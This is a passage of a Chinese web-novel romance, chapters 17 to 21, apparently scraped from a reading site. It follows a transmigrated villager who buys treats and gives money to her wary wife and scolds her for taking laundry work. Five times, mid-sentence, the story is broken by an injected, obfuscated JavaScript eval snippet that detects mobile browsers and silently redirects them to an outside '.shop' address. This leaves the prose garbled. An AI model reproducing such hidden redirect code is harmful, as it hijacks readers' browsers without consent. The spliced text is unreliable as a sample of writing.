白嫩小脸霎时就红了。 连忙起身,手指轻轻抓住妻子一点衣角,羞涩的往她身后躲去,纤长眼睫垂着,连人也不叫了。 宋渝归恰好认得眼前男子,不好意思的叫了一声堂哥。 对方同样尴尬的放下手,“啊,你刚回来啊,吃饭了吗?” “还没有,等会儿就吃。” “哦哦,早点吃饭,早点吃饭好。” 男子在尴尬中扛着锄头跑了。 宋渝归见人走远,不好意思的情绪才淡了几分,顺势拉出身后的小妻子,对她突如其来的亲近十分不解,微微皱眉,“你今日怎么了,闯祸了,有人欺负你了?” 她一举一动都带着讨好,总让人觉得不对劲,莫不是闯了祸想让她善后?还是叫人欺负了想找她出头? 沈惜枝白玉似的耳朵尖也一点点沾染红晕,浓密眼睫一颤一颤的,覆住眼底情绪,低头露出天鹅般修长白皙的颈项,摇摇头,小声道,“我一日未见妻君了,心中十分思念,因而失态了。” 宋渝归:…… 别装,我早上跟你吵架的时候你可不是这幅嘴脸。 说到早上吵架,她脑中灵光一闪,忽而道,“你是发现自己冤枉我了,心里愧疚,所以才这样的?” 沈惜枝本就染着薄红的脸愈加红润,像天边的晚霞,已经明晃晃告诉了她答案。 哼,还算反派讲些道理,还以为她会不管三七二十一就给她按罪名呢。 小姑娘纤细的身子站的笔直,神态扭捏,想说话,又不知该如何说。 她确实是后悔又愧疚,更担忧害怕。 心中不安的想着,我这样示好,她还会生气吗? 哎呀,做错了,她本就不喜欢我,我不该抱她的,说不定会让她更生气。 小姑娘又自顾自满脸懊恼,片刻,抬起一双水润眸子,忐忑的望着她。 宋渝归轻声哼哼,将一直提在手中尚且温热的糕点扔进她怀里,双手环胸抬了抬下巴道,“拿去吃吧,日后有什么不高兴直说就好,别莫名其妙给我脸色看。” 一想到每天辛苦工作回家还要看大反派的脸色,她就觉得天塌了。 沈惜枝下意识将东西接过,懵懵的捧着,热度透过油纸,一点点浸染她的指尖。 她似没听清楚,小心翼翼看向往屋里走的女子,“妻君。” “这是什么?” 宋渝归头也不回,懒洋洋道,“打开看看不就知道了。” 沈惜枝得了令,才敢回去坐在凳子上,小心翼翼的将油纸包层层打开。 甜香气逐渐从里面散出来,两块精致的马蹄糕,一小碟雪白的云片糕便出现在眼前。 沈惜枝愣了。 宋渝归累了一天,也顾不得自己洗没洗澡,栽头躺到床上,瞬间感觉浑身筋骨酥软,舒服的发出喟叹。 沈惜枝就在这时踟蹰着走进来,望了她一眼,又连忙低下头,过一会儿再望她一眼,如此反复,终于让宋渝归不得不搭理她。 “又怎么了,我的大小姐。” 怎又是这幅委屈犹豫的模样。 有什么就说出来啊,难道她还会打她吗? 好吧,原主会打她。 但这和她现代人宋渝归又有什么关系? 自从她过来后,可没碰过沈惜枝一根手指头。 怎么就能叫人怕成这样呢? 沈惜枝害怕,她还委屈呢,该死的,明天就给原主扎小人,自己走了还留个老婆折磨我。 沈惜枝不知对方心里骂了许多脏话,满心被莫名的情绪包裹着,胀胀的,寻不到出路。 “妻君,这是……” 两只雪白的手掌捧着糕点,她神色十分不知所措,像是还不确定这件被人亲手送到她手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14175329|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西的归属。 宋渝归看了一眼,皱眉,“糕点啊,女子不都爱吃甜食吗,特意给你买的,你不喜欢?” 沈惜枝心脏快速跳动,一双鹿眼水波流转,缓缓摇头,“喜欢,这是给我的吗?” 她又一次问。 宋渝归无奈,终于看出来了,反派常年遭受欺凌,从小过得也不咋好,导致旁人要给她一点东西,她都要再三确认,给我吗,真的给我吗,不给别人吗? 她怕空欢喜一场,怕前一刻高兴极了,后一刻又无助的跌落下来。 宋渝归莫名心软,只得耐心的重复,“给你的,我不喜欢吃甜食,见你早上气的狠了,怕你不消气,特意买来哄你的。” 早知道她如此明事理就不买了,好贵QAQ。 沈惜枝听她再次肯定这是给她的,眼睛骤然一亮,小步走过去坐在床沿上,亮晶晶的双眸望着她,抿唇乖巧笑了,“多谢妻君,今晨是我误会了妻君,还惹妻君烦忧,妻君不要生气好不好?” 女子又软声道,像在撒娇一样。 宋渝归骨头缝里滑过一阵酥麻。 不禁想,原主真没眼光,大反派多好看啊,又乖又软,还会操持家务,她还挑什么? 过一会儿清醒过来,又摇了摇头,怒骂自己,什么啊,你忘了她今天早上多气人了? 哼。 宋渝归抬了抬眼睛,“只要你以后不再自己乱想一通,然后给我脸色看,我就不生气。” 沈惜枝心中微紧,知道早上的事让她有些在意了,红润唇瓣一抿,连忙点头答应,“嗯嗯,以后再也不会胡思乱想了。” 这话当然是假的,若再有这种事,她定然又会忍不住如此想,但她一定不会再表现的那么明显了。 今日是宋渝归心情不错,才没有打她,若如往日般……非得打的她见不了人不可。 太危险了,今日是她莽撞,竟还敢发脾气,看来是最近过得太好了,好到她忘了从前如地狱般的生活…… “嗯,快去吃糕点吧,都是你的,今日忘记买白菜种子了,我明天去买一点。” “哦。” 沈惜枝长睫下垂,眼里情绪不明,嘴上却乖乖应了。 她不知道如今的宋渝归能维持这副好性子多久,但她希望能久一点,再久一点。 18. 第 18 章 家里就两个人,宋渝归没带菜回来,吃的是之前没炒完的白菜,以及一点野菜,又煮了粥喝。 深夜,宋渝归擦洗完身子躺在床上,夜不能寐,想不通,怎么古代的钱这么不经花呢。 初拿到一百五十文时,她感觉挺多的,之前沈惜枝拿着四文钱就能买快一斤的米呢。 结果今天告诉她米缸见底了…… 她真是脑子糊涂了,一斤菜很多,一斤米可没多少。 除去米外,还得买些吃的改善下伙食,天天吃素,她都要吃成兔子了。 沈惜枝在宋渝归之后擦洗,洗完便只着轻薄里衣从外侧爬上床,乖乖坐在里面开始脱衣服。 又如往常般一身洁净雪白的露在人眼前。 宋渝归随意视线落在一旁堆着的衣裤上,随后一顿,上面打满了补丁。 完犊子,还要给大反派买衣服。 一月三百文能用多久? 用不了多久。 心死。 想到生活处处要花银子,宋渝归就不想说话,只抬手冲反派招了招。 对方立马听话的贴过来,乖顺依在她臂弯中。 她想着自己多听话一点,也许就能让宋渝归维持这幅样子更久一些。 “妻君。” “嗯,睡觉。” 她一手搂着女子纤薄的后背,一手搂住光滑大腿,将她往被子里塞。 沈惜枝一双鹿眼柔的能滴出水来,一边紧紧贴着女子身体,高耸的尖儿相对,一边软声问,“妻君有银子了吗?” 宋渝归淡淡应了一声,“嗯,我预支了半个月的银子。” “哦,那得省着些花。” 小姑娘无意识贴了贴她的脸,声音愈发软了,她不吃糕点也可以的,糕点多贵呀,能买好多米了。 虽然甜甜的很好吃。 “花钱的事你别管,照顾好自己就成。” 虽然大反派没直说,但她一下就听出了对方的意思,哼,怪她给她买糕点乱花钱? 真是不识好人心。 沈惜枝自觉被凶了,又委委屈屈“哦”了一声,窝在她怀里不再说话。 一开始光.裸着身子与人相拥而眠,她是极不习惯且害羞的,但现在……不习惯也慢慢被抱习惯了。 第二日天蒙蒙亮,宋渝归又醒了,如往常一样把沈惜枝团吧团吧塞被窝里,自己拿着镰刀背篓去割猪草。 猪一天吃两顿,也不像一开始那样瘦的皮包骨,卖猪肉都没人家要了。 她还等着大猪下小猪崽,然后杀猪吃猪肉呢。 到那时才能吃的爽。 辛苦割完猪草回来,屋里沈惜枝已经用最后一点米煮了米粥,坐在院子里缝补衣物。 那件衣裳灰扑扑的,也不知是她的还是沈惜枝的。 丑的她不敢直视。 村里男子多穿灰色与黑色,女子的衣裳却一般会鲜亮一点,好看一点。 除了她们两个…… 这都什么鬼日子。 宋渝归心里不满,面上却没有带出半分。 免得大反派又胡思乱想,以为她对她有意见。 给脸色事小,设计弄死她事情就大了。 “又喝粥?” 宋渝归将猪草放在院子里,走进去问。 沈惜枝知道她不爱喝粥,但也没办法,微微点头,“妻君找到活儿干了,以后就不用总喝粥了。” 她快步迎出去,待宋渝归认命的坐下喝粥后,犹豫片刻,又将素白手指落在女子肩膀上,轻轻按揉起来。 “干嘛,你不吃吗?” 沈惜枝摇头,“我一会儿再吃,割猪草是不是很累?以后妻君别早起去割了,我每日割两回就好了。” 从前日子没有盼头,她只想着别把猪养死就好,反正养肥也是被她卖了再给别的女人花钱。 但现在不一样了,宋渝归不一样了。 “不用,你好好在家待着,闲着没事打扫打扫就行,我也不是很累,坐下吃吧,别站着了。” 她握住一只纤长白软的手,将人拉到面前来。 一脸无奈,“我不习惯有人站在我后面看我吃饭。” 她又没穿成什么大小姐,就一小老百姓,整这出,多不自在啊。 沈惜枝直到这时才抿了抿红润的唇瓣,小心坐在宋渝归旁边,一双鹿眼中尽是柔媚,拉了拉近在咫尺的袖子。 宋渝归心里一咯噔,立马猜到她今天对自己态度变化这么大另有原因。 握着筷子的手紧了紧,只听女子在她耳边,吐气如兰,小声央求,“妻君,我能去镇上走走吗,好久没去了。” 身上忽而一松,整个人又舒服了。 嗐,我当什么事呢,原来就是去镇上走走,这有什么。 见宋渝归没有第一时间给出答复,沈惜枝心里又慌了神,拽着那片袖子撒娇般晃晃,“妻君~我与大娘约好了的。” 她瘪了瘪嘴,看起来甚至有点委屈。 荒谬,她又没说不答应,委屈什么。 宋渝归低头咳了一声,“好了好了,你想去就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14184183|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,不必问我,我又不会拦着你出门。” 偶尔出去走走也有利于身心健康,不要再像小说里一样,在阴暗的角落里肆意生长,嫉妒所有人了。 沈惜枝生的漂亮,性情乖顺软和,她应该一辈子被人疼惜才是。 既喜欢男子……以后她会为她参谋的。 女子也好男子也罢,她一定会选出最温柔最合适的人,做沈惜枝的另一半! 沈惜枝听见可以出去,眼睛霎时就亮了,看着人的目光好似更温柔了些。 宋渝归几口喝完粥,从怀里掏出一个钱袋子,里面放着昨日用剩下的132文铜钱。 按理说,她该把钱交给大反派,以示对她的看重。 但!她有自己攒钱的习惯,看着存款变高是一件很幸福的事,她受不了把钱交给别人保管,她没有安全感。 因此只是从铜钱里数出零头的三十二文,递给沈惜枝,有些不好意思,“上镇了就好好玩,钱拿着,想吃什么买点。” 沈惜枝没想到她会给钱,见着雪白掌心里躺着一叠铜钱,真切愣住了。 她,她竟连以往对我铁公鸡似的性子也改了? 还愿意拿钱给我…… 沈惜枝唇角不自觉翘了翘,却没有要,“我有钱的,不用你给。” 声音又软又糯,好听极了。 可宋渝归一脸狐疑,“你哪有钱,不会背着我又给别人洗衣服去了吧?” 沈惜枝神色一僵,便有些不自然的偏过头。 宋渝归:…… 不高兴,眉头皱的能随机夹死路过的蚊子,“不是叫你别去洗衣服吗,你怎么还去,钱我会赚,天气快冷了,你想生冻疮?而且洗一桶才一文钱,有什么好洗的!” 这么便宜,当她家反派是什么廉价劳动力啊,又不是大学生!!! 对方语气虽严肃又凶巴巴,但仍挡不住沈惜枝听出那话里的关切,是为她好。 红唇抿了抿,轻声解释,“不是的,也有人家给的多,不是每次都才一文的。” “呵,那也不许,衣裳洗多了伤手,你要闲着没事干就出去逛逛,交几个朋友。” “哦。” 被严厉的说了一顿,沈惜枝也没有不高兴,那种苦闷压抑的情绪更是未曾出现,她双眸晶亮,又给人盛了一碗粥,“妻君多喝点,一会儿我们一起去镇上好不好?” “行,我不在的时候不许再给人洗衣服了,听见没?” “嗯嗯嗯,听见了。” 她很听话的,一直都很听话。 19. 第 19 章 李大娘就住在小土坡下面,与宋渝归家算是相邻。 她曾失去过一个女婴,若好生长大,也该跟沈惜枝同岁了,因此十分怜惜小姑娘悲苦的遭遇,平日里对她都是处处帮衬着的,沈惜枝初来乍到,宋家村的年轻女子因她妻子的缘故不愿与她来往,只李大娘时常会跟她说说话,安慰她,她心里感激,也与李大娘关系最好。 此时一对小妻妻就站在围栏外。 “大娘,我好了。” 里头也立时回应,“哎,来了来了,我家这两个吃口饭慢的很。” 李大娘急急忙忙走出来,在衣服上擦了擦手,身后跟着两个男子,脸都黢黑,背着东西,似要准备出门劳作。 眼下正是农忙时。 宋渝归不知道喊什么好,想到自己在村子里的辈分,犹豫一会儿,试探着张口,“大,大哥?” 对方愣了一下,走过来,大手就糊人脑袋上了,“没大没小,我是你叔!” 宋渝归:…… “哦,叔。” 终于有个正常的辈分了。 “你们今日要去赶集?” 他问。 李大娘点点头,笑着说,“对啊,今天卖东西的多,许能买点便宜的好东西。” “你们三个一起去?” 他看向宋渝归,见这人与自己的妻子站在一处,竟低头去牵那小姑娘的手。 这还是他第一次看见她和她花光银子娶回家的姑娘好好站在一起,竟然有些般配,但女子与女子结合还是太荒唐了。 宋叔有点不能接受的移开眼。 “哎呀,不是跟你说了吗,渝归在镇上找了工干,我们顺路一起去就好了。” 其实她见到宋渝归也有些惊讶,还以为宋渝归不会管惜枝,没想到两人竟一起来了。 宋叔思考,很快就想起来了,是有那么一件事,“哦,对,我忘了,年轻人是要有份活干,那你们去吧,我们也去田里了。” “哎,今天我买点鸡蛋回来,中午给你们炖个蛋羹补一补。” 两个好同时响起,李大娘才和她们走了。 宋渝归跟李大娘不熟,原主估计也和她不熟,两人只安静的走在两边。 沈惜枝小声同大娘说话。 “大娘,你准备买什么呀。” 往日里她不敢问,因为她没有银钱,尽管大娘买的东西都很便宜,但她也买不起,不过今天不一样,妻君给她钱了! 很多钱呢。 “能买什么,贵的我也买不起,不过是买点鸡蛋,再扯几寸布给家里那两个纳几双鞋子,近日农忙,鞋都穿破好几双了。” “哦……” 说到鞋子…… 沈惜枝眼睛悄悄往下看,她觉得妻君也该穿新鞋子了。 三人一同走了一段路,大娘忽而发问, “哎,对了,我只知道渝归在酒楼里做活,却不知是哪个酒楼,问你媳妇儿她也说不知道,你作何瞒着她?” 两人叨叨一路,在这时一齐看向了她。 拉着她的手紧了紧,宋渝归才反应过来,看大反派一眼,摇摇头,“这有什么好隐瞒的,只是觉得没必要说罢了,我在食悦楼做小二。” “哎,哪的话,你们是夫,啊不是,是妻妻,世间最亲近的人,哪能有事瞒着对方,有没有必要的也要说。” 她教育完宋渝归,又感叹道,“食悦楼可是镇上的大酒楼,我都没机会去吃,也就村长家的姑娘去吃过一回,回来跟人说了好长时间,你好好在那干,总能攒下一点家底的,日后也别再对媳妇儿那么差了,惜枝是个好姑娘……” 大概这就是大娘的共通性吧,她絮絮叨叨了好长时间,宋渝归都好脾气的听着,既没有反驳,也没有不耐烦。 直到将两人送到集市上,才温声开口,“我该去酒楼了,你们先去逛吧,再等等好的菜要被人挑完了。” 她想了想,又从兜里掏出二十文递给沈惜枝,“买点肉,今晚吃肉。” 沈惜枝还是不肯要,扭扭捏捏的说自己有钱,耳朵跟粉玉似的,嫩生生的好看。 已经给了三十二文了,再加上她洗衣服挣的钱,买肉很够了,还能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14192264|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再买点别的。 但宋渝归也不和她废话,一把拉过她的手腕,将二十枚铜钱放在她掌心里,并有点生气,“你有什么钱,别让我看见你那些洗衣服挣的钱,下次再敢去给别人洗衣服,你就惨了,知不知道?” 她白皙修长的食指将人戳的脑袋往后小小仰了一下。 沈惜枝被迫抱着她的手臂才稳住身形,委屈的捂住被戳的额头,撅着唇小声嘟囔,“知道了知道了,你不要再说我了。” 而且还在长辈面前说她。 小姑娘感觉没面子,眼眶都微微红了。 是娇气又爱哭的性子。 宋渝归只好不再说她,李大娘没想到她私下竟不许沈惜枝去给别人洗衣服,眼睛在两人身上好奇的转了转,没说什么。 惜枝好不容易日子过得不错了,小妻妻间的事只要不大,她才不管呢,佯装没听见的样子眺望菜场。 “我去食悦楼了,你要是有什么事,就来楼里找我,知道吗。” 宋渝归不想见她哭,也怕她被说几句就记恨她,因此语气又缓和不少。 小姑娘被凶过了,神色就显得蔫巴巴的。 “哦。” 心中却想,我才不去呢,不然你又训我怎么办。 妻君凶凶。 按理说她也不是第一次被宋渝归当众训斥了,骂两句而已,不疼不痒,应该毫不在意的,可唯独今天这次,让她有点不舒服,心里闷闷的。 见沈惜枝脸色还是没有好起来,宋渝归头疼的捏了捏鼻梁,跟她单独相处多了,她说话也开始没分寸起来。 只得抬手揉揉女子毛茸茸的发顶,与自己的钱包说再见。 “我走了。” 晚上再买点好吃的回去哄。 “嗯。” 沈惜枝唇角抿成一条直线,看起来颇为严肃。 待宋渝归走后,李大娘才笑着和身边漂亮的小姑娘说话,“渝归也是关心你才说你两句,你还真生上气了,这有什么好生气的。” 沈惜枝垂眸,掩住眼底仍旧不愉的神色,低低应了一声。 20. 第 20 章 秋季微凉,宋渝归原本得到的一百五十文预支工钱,如今只剩八十文,离开酒楼后她犹豫了一会儿,去街上买了三文钱一根的糖葫芦回家哄媳妇儿。 再贵的也买不起了,钱实在不经花。 后面还是过得清苦一点比较好,攒攒银钱。 沈惜枝仍如昨日般坐在院门口认真做着针线活,任何动静都没能吸引小姑娘的注意。 “惜枝。” 她唤。 小板凳上的女子听见她的声音后才缓缓抬眸,看了她一眼,又默默低头,不搭理她。 宋渝归:…… 这么小气。 “还不高兴呢。” 她自己打开院子的围栏进去,将手中糖葫芦递给沈惜枝,“给你买的,别生气了好不好?” 沈惜枝一见到红艳艳的糖葫芦,黑色眼瞳便颤了颤,又听她哄她,心里控制不住浮出委屈的情绪,怎么也消灭不掉。 那支糖葫芦被人闷不吭声接过,但对方拿了她的东西,却依旧不理她。 宋渝归等了一会儿,只等到一只闷葫芦,诧异,还能这样? 不是,有本事你别要啊,你凭什么要了又不原谅我! 大反派都这般不讲道理吗? 宋渝归愤愤不平,很想真与人讲一通道理,但她觉得反派不会听,又怕将人惹得更生气,只好白白赔出去一根糖葫芦。 不理就不理,哼。 明明先在人前训人的是她,她也有些愧疚,但看见沈惜枝不理她,不和她说话,她反而生起气来。 没有再站在沈惜枝面前,偷溜到后面去看加餐好几日的猪去了。 长得倒是比初见要肥一点,但也比不上旁人家的,这种程度割了肉她都卖不了几个钱。 片刻宋渝归又出来了,默不作声提起背篓,拿起镰刀,继续给猪加餐。 沈惜枝紧紧抓着手中的鞋垫子,指节泛白,气的要死。 多说几句话怎么了? 累着你嘴了吗? 宋渝归不知有人在心里偷偷骂她,背着背篓认认真真割了一背篓猪草,回来的时候天已经黑了,家里随着炊烟飘出阵阵肉香,香的她眼睛都直了。 是肉! 有肉吃了有肉吃了。 宋渝归赶忙去后面喂了猪,然后跑进堂前,看着沈惜枝做饭。 沈惜枝见她终于回来,心中莫名便松了一口气。 嗯,不是去找哪个女子了。 “今晚吃什么?” 对方百忙之中抬眼看她,眼里仿佛闪过一抹湿润水光,但只看了一眼,便低下头去,闷闷的说,“栗子炖肉。” “栗子炖肉?板栗吗,这个我爱吃!” 沈惜枝一边搅弄着防止糊锅,一边在心里故作冷淡想,我才不管你爱不爱吃呢,哼。 她故意与小妻子说话,也没得到几句回复,怀疑人生,不是,这么生气? 不就是,不就是说了她两句吗。 宋渝归心虚,但也不好意思再服软,只能沉默下来。 小姑娘表面不搭理她也不说话,心里却在万分期盼着什么,见她又不说话了,雪白的牙齿硬是将薄唇咬出深深的印子来,直到舌尖尝出血腥味,才恍然作罢,用力铲了一下被烹饪的软乎乎的肉。 喷香的晚饭很快做好,两人依次坐下,仍没有一个人主动开口。 沈惜枝抽出筷子握在手心,忽而道,“我今日买了半斤肉。” “啊?哦,半斤够了。” 她们家就两个人吃,也用不了很多。 “半斤肉花了十八文,又买了一点细棉布,二十文,买了一只小鸡,花费五文……” 宋渝归听到诧异处,抬手打断她,“等等,你还买小鸡了?” 沈惜枝撇了撇嘴,“嗯,买了一只。” “怎么忽然想养鸡?” “小鸡便宜,养大了可以吃鸡蛋,老了可以喝鸡汤。” 她想的很好,垂眸将这些话说完,又安静下来,姑娘身姿纤薄,侧颜漂亮动人,要是在现代,不爱说话也能引来一大帮追求者,就是当下很火的清冷女神。 宋渝归看完,又匆忙收回视线,佯装随意问,“哦,那鸡呢,我进来怎么没看着?” “关在后面。” “哦。” 买的这些东西宋渝归都没有意见,“你喜欢什么买就是了,不必和我说。” 沈惜枝握着筷子的手指用力几分,心里禁不住想,她不管我吗?就一点也不管我吗。 “妻君是一家之主,我自然要说。” 女子声线冷淡几分。 宋渝归还没听出来,想给她最大的自由,“不用,我没有这个规矩,你自己看着买就行,喜欢什么也买一点,别亏待了自己。” 沈惜枝深吸一口气,不理她,自顾自从怀里取出一把铜钱来,“还剩十七文。” 宋渝归:? “剩的你拿着就好了啊。” 小姑娘头一低,雪白的侧脸显得分外冷淡,就三个字,“我不要。” 十七文加上前面花完的,足有六十文了,她只给了沈惜枝五十二文,这里面还有沈惜枝自己的钱。 宋渝归笑了,她说不要让她看见那些洗衣服挣的钱,现在沈惜枝就把钱摆在她面前,还要还给她,明显还在赌气,但很可爱。 宋渝归怕惹得她更生气,神色无奈,终于抬手接过钱,并温声哄她,“好了,好了,先吃饭吧,吃完再说。” 她被香的口水都要掉下来了。 给小妻子夹了一块肥瘦相间的肉,默默观察她的神色。 沈惜枝抿着唇瓣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14200380|149588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将肉在碗里戳成肉泥,然后才开始拌着肉泥吃饭。 可爱。 晚饭过后,两人也没有出去消食,而是专门烧了一锅热水来洗一洗一整日的尘汗,洗完后便关门躺床上了。 沈惜枝同往常一样坐在床尾脱了衣裳,赤条条钻进去,宋渝归下意识伸手要去搂她,然而那只手刚搭在人腰上,纤软的腰肢便如泥鳅般滑过,躲得远远的,面向床壁背对着她,一副不给碰的样子。 黑夜寂静无声,好一会儿,忽而传来一阵女子轻笑。 她声音愈发温和,没有一丁点儿怒意,“就白天说了你一下,你气到现在?” 两人谁也不戳破时还好,眼下宋渝归一戳破,数不清的委屈便如潮水般涌来,瞬间叫小姑娘湿了眼眶。 又沉默不语,她不擅长责怪别人,有任何情绪都是一点一点埋在心里的,慢慢去消化的。 只是很多时候往往消化不了,情绪会变成一根刺,狠狠扎在心里。 宋渝归躺在她背后,月光莹润,微微照亮了雪白滑腻的后背,她看着,沉思片刻,缓声道,“白日我不是故意的,只是想到你惨兮兮的去给人洗衣裳,洗到手都肿了,就气急之下胡言乱语,许伤了你颜面,不要生气可好?” 说错话就道歉,对宋渝归而言是多年教育使然,很正常的事,可对沈惜枝,却是妻君对她第一次低头,承认自己做错了。 她在家中,爹是从不会向娘低头的。 这叫小姑娘一下又慌了神,猛的转过身来,枕在破旧枕头上,水灵灵的眼睛惊慌失措的望着她,可夜深露重,伸手不见五指的,她哪看得清沈惜枝是什么表情啊。 一只登徒女般的手摸索着握住她的肩膀,然后顺着脖子往上摸了摸她的脸,感觉她好像不生气了,都没躲,才敢接下去说,“原谅我吧,我以后不在有人的地方说你不是了。” 沈惜枝又垂下漂亮眸子,心中郁郁,那还不是要说她。 坏人。 嘴上却已经迫不及待原谅她了,并且还要面子的表示,“我本就没有生气,妻君何必如此。” 宋渝归:…… 谁信谁是笨蛋。 “嗯,不生气就好,小枝儿最大气了。” 沈惜枝脸红,什,什么小枝儿,唤谁呢,从没有人这样叫过她…… “抱抱?” 许是见她不说话,宋渝归便自顾自询问她。 沈惜枝扭扭捏捏的,缓缓将如雪的身子送上去,被人勾着小腰儿,轻轻揽进怀里。 直到抱稳了,宋渝归才舒了一口气,太难哄了,日后还是不能惹她生气,又记仇,可别提前刀她啊。 修长的手指在人背后抚了抚,既是安抚她,也是悄悄安抚自己。 沈惜枝抿唇,垂下长睫掩住半分羞意,缩进宋渝归怀里。 21. 第 21 章 转瞬过去一日,之前忘了买米,今日下班,宋渝归特意买了一袋米回家,足有十斤,又花了四十五文。 这样算下去,手里余钱已然不多了。 宋渝归愁啊。 回到家也一时没法露出笑脸。 沈惜枝见她这样,心间不由忐忑,黑黢黢的大眼睛盯着她,走到近前拉住她一点衣袖,小声问她,“你怎么不高兴啦,我做错什么了吗?” 小姑娘下意识在自己身上找问题,贴的人更近了。 被宋渝归顺手攥住白嫩纤长的手指,疑惑道,“嗯?跟你有什么关系,我在想事呢。” 她说完后又安静下来,显然没有要把事说给她听的意思,沈惜枝抿了抿唇,不大高兴,但也没说什么,安静的坐在一旁陪着。 预支的半月银钱都快见底了,她想过上日日有肉吃的生活显然还不大可能,只好先过几天清苦日子。 粥再难喝也得喝,野菜再也不爱吃还是吃了。 剩余的四十八文除了三文买白菜种子外,她很少动。 一个月的工钱得花两个月,起码要将这两个月撑过去,日子才会好过一点。 宋渝归跟个劳模似的,每天早起割一桶猪草,傍晚回来又带上老婆去山里捡柴火,吭哧吭哧做了一个月,拿到剩下的一百五十文,只觉得人生无望。 一个月的时间,总是要花一点钱的,家里要用,两张嘴也要吃饭,那四十八文早已经没了,幸好领到了工钱,不然她还不知道怎么办呢,然这工钱也得花一个月,日子当真是紧巴巴的。 回家路上,宋渝归一路都在唾弃自己,把她自己的钱花完就算了,居然连老婆的钱都花,还是老婆辛苦洗衣服挣来的钱。 小土坡上,沈惜枝正端着一盆什么东西喂鸡,她打开围栏走过去凑近看,原来是一些碎菜叶。 沈惜枝察觉熟悉的温度靠近,不用回头也知道谁回来了,柔声解释,“李大娘家种了白菜,给了我一些烂叶子喂鸡。” “哦。” 宋渝归对喂鸡一窍不通,只能好奇的望着,片刻开口,“我们只养一只鸡吗?” 沈惜枝摇摇头,“日后再多养几只吧,也不急的。” 哦,对,她们穷着呢,哪有这么多钱买鸡。 “我会努力挣钱的。” 宋渝归垂头丧气,养家好他爹难,真佩服父母能把她养大,她现在媳妇儿都快养不起了。 沈惜枝倒是看起来对银钱并不看重,闻言转身看向她,眉目间极是温柔,“没事的,现在这样也很好,妻君别太累了。” 她始终记得,她们都是女子。 女子虽也有坚韧的心性,但比之男子,体力还是要差许多,更容易劳累。 日子过得下去便好,何必辛苦去挣更多的银钱? 以前她想着宋渝归最好是苦的不着家,现在却隐隐生出不愿不舍来。 宋渝归不置可否,她还是觉得手里没俩钱怪不安心的。 “我去山上捡点柴,你在家等我?” “我也要去。” 旁的事她帮不上忙,捡柴还是可以的,为了多捡点柴过冬,她每日都要跟着一起去。 小姑娘寻了一个自己最近用竹条新编的背篓来,屁颠屁颠跟在后面一起去了。 秋天的枯枝最多,她们没有选择砍树,只是捡了一些比较粗壮耐烧的树枝回去。 一人背了满满一背篓,也能烧很久。 “累吗?” 走在回家路上,宋渝归侧身问。 沈惜枝乖乖摇头,“不累。” 她这算什么,不过是每天在家喂喂猪喂喂鸡,哪能比得上宋渝归的辛苦,再喊累就太过分了。 “嗯,晚上吃什么?” “我,我买了两个鸡蛋,晚上摊鸡蛋饼吃好不好?” “买了两个鸡蛋?” 宋渝归抓住关键字,忽而扭头,眼睛瞪的像铜铃,想到沈惜枝性子倔强,之前又闹着脾气,不肯要她的钱,那…… “你哪来的银钱买鸡蛋?” 说着,宋渝归皱眉,“你不会又去给人洗衣服了吧?” 不怪她怀疑,沈惜枝她不听话啊! 总是阳奉阴违。 小姑娘白嫩的面颊红了一些,娇俏跺脚,“没有没有,是我帮村子里的人务农,他们给我的。” 宋渝归:? 瞧瞧我听见了什么。 你还不如去给人洗衣服呢! “我是少你吃还是少你喝了,你就这么坐不住?” 她偏过头,声音听起来有一点凶意。 沈惜枝缩了缩脖子,握住穿过肩膀的麻绳,小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 